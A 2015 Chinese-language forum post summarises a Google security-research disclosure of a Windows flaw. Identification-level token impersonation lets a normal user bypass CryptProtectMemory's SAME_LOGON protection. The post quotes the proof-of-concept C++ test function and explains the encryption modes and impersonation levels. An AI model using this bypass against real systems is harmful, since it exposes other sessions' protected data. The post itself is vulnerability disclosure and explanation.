模拟令牌绕过CryptProtectMemory [Google]

杀戮 (有事请 at 大号园长) | 2015-01-16 17:27

原标题是:Windows: Impersonation Check Bypass With CryptProtectMemory and CRYPTPROTECTMEMORY_SAME_LOGON flag

不过太尼玛长了我就缩减了一下。

漏洞贴: https://code.google.com/p/google-security-research/issues/detail?id=128&can=1

某种意义上给人直接的感觉是有点鸡肋啦。

依旧是谷歌90天0day,这场打斗目前还是相当友好的。

问题出在 函数 CryptProtectMemory 上面,该函数用于给内存中数据加密,比如你内存里放了一个password你就可以使用这个函数对这块内存进行加密,就可以防止别的进程获取password。

利用在于 当你使用 CRYPTPROTECTMEMORY_SAME_LOGON 模式加密时 可以被绕过,可能被读取数据,或者攻击。

绕过方式在于普通用户可以通过模拟令牌使用Identification level级别获取登录会话id,并且通过登录会话加密解密数据,因为CNG.sys(提供一组加密的api)并不检查模拟级别。

看下主代码

void test_cryptmem()

{

        // 获取 token 负值给 lined_token

  HANDLE linked_token = GetAdminToken();

  std::vector<unsigned char> logon_a;

  std::vector<unsigned char> logon_b;

        // 确认linked_token存在

  if (linked_token)

  {

                //先加密一段内存 放到 logon_a

    logon_a = encrypt_mem(TEXT_, sizeof(TEXT_));

                // 通过模拟令牌登录

    if (ImpersonateLoggedOnUser(linked_token))

    {

                        // 登录后在加密内存 放到 logon_b

      logon_b = encrypt_mem(TEXT_, sizeof(TEXT_));

      RevertToSelf();

                        // 对比logon_a 和 logon_b是否不一样

      if (memcmp(&logon_a[0], &logon_b[0], logon_a.size()))

      {      

                                // 卧槽 不一样

        printf("Encryption doesn't match, impersonated session?\n");

      }

      else

      {

                                // 卧槽 一样

        printf("Encryption matches, impersonation failed\n");

      }

    }

    else

    {

      printf("Error impersonating %d\n", GetLastError());

    }

  }

}

我们看下执行结果。

1.png

附注

CryptProtectMemory函数三种模式

1. 不同进程之间无法解密 (CRYPTPROTECTMEMORY_SAME_PROCESS)

2. 不同进程之间允许解密   (CRYPTPROTECTMEMORY_CROSS_PROCESS)

3. 不同用户会话之间无法解密   (CRYPTPROTECTMEMORY_SAME_LOGON)

模拟令牌的 4级别

1. 匿名(Anonymous):无法获取有关客户端的标识信息,且无法模拟客户端;

2. 识别(Identification):可以获取有关客户端的信息(如安全标识符和特权),但是无法模拟客户端;

3. 模拟(Impersonation):可以在本地模拟客户端的安全上下文。,但无法在远程系统上模拟客户端;

4. 委托(Delegation):可以在本地和远程系统上模拟客户端的安全上下文。